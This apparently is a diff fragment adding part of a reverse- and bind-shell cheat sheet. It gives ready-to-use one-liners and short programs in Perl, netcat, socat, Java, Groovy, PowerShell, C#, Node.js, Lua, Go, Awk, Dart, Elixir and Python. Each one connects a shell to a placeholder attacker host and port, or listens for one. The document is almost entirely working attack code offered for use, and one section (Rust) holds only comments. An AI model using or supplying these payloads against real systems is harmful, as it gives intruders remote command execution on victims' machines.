+
60
+ perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ATTACKER:PORT");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
61
+ ```
62
+
63
+ ## Netcat
64
+
65
+ ```bash
66
+ nc -e /bin/sh ATTACKER PORT
67
+
68
+ nc -e /bin/bash ATTACKER PORT
69
+
70
+ # Without -e (OpenBSD nc)
71
+ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc ATTACKER PORT >/tmp/f
72
+
73
+ # ncat
74
+ ncat ATTACKER PORT -e /bin/bash
75
+ ncat --ssl ATTACKER PORT -e /bin/bash
76
+ ```
77
+
78
+ ## Socat
79
+
80
+ ```bash
81
+ socat TCP:ATTACKER:PORT EXEC:bash,pty,stderr,setsid,sigint,sane
82
+
83
+ socat TCP:ATTACKER:PORT EXEC:'bash -li',pty,stderr,setsid,sigint,sane
84
+
85
+ socat OPENSSL:ATTACKER:PORT,verify=0 EXEC:/bin/sh
86
+ ```
87
+
88
+ ## Java
89
+
90
+ ```java
91
+ Runtime r = Runtime.getRuntime();
92
+ Process p = r.exec("/bin/bash -c bash$IFS-i>&/dev/tcp/ATTACKER/PORT<&1");
93
+ ```
94
+
95
+ ```bash
96
+ # Java one-liner (via bash)
97
+ r = Runtime.getRuntime()
98
+ r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/ATTACKER/PORT 0>&1"})
99
+ ```
100
+
101
+ ## Groovy
102
+
103
+ ```groovy
104
+ String host="ATTACKER";int port=PORT;String cmd="bash";Process p=["bash","-c",cmd+" -i >& /dev/tcp/"+host+"/"+port+" 0>&1"].execute();
105
+ ```
106
+
107
+ ## PowerShell
108
+
109
+ ```powershell
110
+ powershell -nop -c "$c=New-Object Net.Sockets.TCPClient('ATTACKER',PORT);$s=$c.GetStream();[byte[]]$b=0..65535|%{0};while(($i=$s.Read($b,0,$b.Length))-ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($b,0,$i);$r=(iex $d 2>&1|Out-String);$t=$r+'PS '+(pwd).Path+'> ';$sb=([Text.Encoding]::ASCII).GetBytes($t);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()"
111
+ ```
112
+
113
+ ## C# (via PowerShell)
114
+
115
+ ```powershell
116
+ # Compile and execute C# reverse shell
117
+ $code = @"
118
+ using System;using System.Net.Sockets;using System.Diagnostics;using System.IO;
119
+ class S{static void Main(){TcpClient c=new TcpClient("ATTACKER",PORT);Stream s=c.GetStream();Process p=new Process();p.StartInfo.FileName="cmd.exe";p.StartInfo.RedirectStandardInput=true;p.StartInfo.RedirectStandardOutput=true;p.StartInfo.UseShellExecute=false;p.Start();StreamWriter w=new StreamWriter(s);w.AutoFlush=true;StreamReader r=new StreamReader(s);while(true){w.Write("PS>");string cmd=r.ReadLine();if(cmd=="exit")break;p.StandardInput.WriteLine(cmd);w.Write(p.StandardOutput.ReadLine());}}}
120
+ "@
121
+ Add-Type -TypeDefinition $code -Language CSharp -OutputType ConsoleApplication -OutputAssembly shell.exe
122
+ ```
123
+
124
+ ## Node.js
125
+
126
+ ```javascript
127
+ require('child_process').exec('bash -i >& /dev/tcp/ATTACKER/PORT 0>&1')
128
+
129
+ // Alternative: net module
130
+ (function(){var net=require("net"),cp=require("child_process"),sh=cp.spawn("bash",[]);var client=new net.Socket();client.connect(PORT,"ATTACKER",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();
131
+ ```
132
+
133
+ ## Lua
134
+
135
+ ```bash
136
+ lua -e "require('socket');require('os');t=socket.tcp();t:connect('ATTACKER',PORT);os.execute('sh -i <&3 >&3 2>&3');"
137
+
138
+ lua5.1 -e 'local host,port="ATTACKER",PORT local socket=require("socket") local tcp=socket.tcp() tcp:connect(host,port) while true do local cmd,status=tcp:receive() local f=io.popen(cmd,"r") local s=f:read("*a") f:close() tcp:send(s) if status=="closed" then break end end tcp:close()'
139
+ ```
140
+
141
+ ## Go
142
+
143
+ ```go
144
+ // Compile: GOOS=linux GOARCH=amd64 go build -o shell shell.go
145
+ package main
146
+ import("os/exec";"net")
147
+ func main(){c,_:=net.Dial("tcp","ATTACKER:PORT");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}
148
+ ```
149
+
150
+ ## Rust
151
+
152
+ ```bash
153
+ # Requires compilation; use cross-compile for target OS
154
+ # Minimal reverse shell in Rust — compile with:
155
+ # rustc shell.rs -o shell
156
+ ```
157
+
158
+ ## Awk
159
+
160
+ ```bash
161
+ awk 'BEGIN {s="/inet/tcp/0/ATTACKER/PORT";while(42){do{printf "$ " |& s;s |& getline c;if(c){while((c |& getline)>0)print $0 |& s;close(c)}}while(c!="exit")close(s)}}'
162
+ ```
163
+
164
+ ## Dart
165
+
166
+ ```bash
167
+ # Requires dart SDK
168
+ import 'dart:io';
169
+ void main() async {
170
+ var s = await Socket.connect("ATTACKER", PORT);
171
+ Process.start("bash", ["-i"]).then((p) { s.pipe(p.stdin); p.stdout.pipe(s); p.stderr.pipe(s); });
172
+ }
173
+ ```
174
+
175
+ ## Elixir
176
+
177
+ ```elixir
178
+ :os.cmd(:erlang.binary_to_list("bash -c 'bash -i >& /dev/tcp/ATTACKER/PORT 0>&1'"))
179
+ ```
180
+
181
+ ---
182
+
183
+ ## BIND SHELLS
184
+
185
+ ```bash
186
+ # Netcat bind shell (on victim)
187
+ nc -lvnp 4444 -e /bin/bash
188
+ # Connect from attacker:
189
+ nc VICTIM 4444
190
+
191
+ # Socat bind shell
192
+ socat TCP-LISTEN:4444,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
193
+
194
+ # Python bind shell
195
+ python3 -c 'import socket,os;s=socket.socket();s.bind(("0.0.0.0",4444));s.listen(1);c,a=s.accept();os.dup2(c.fileno(),0);os.dup2(c.fileno(),1);os.dup2(c.fileno(),2);os.system("/bin/sh")'
196
+ ```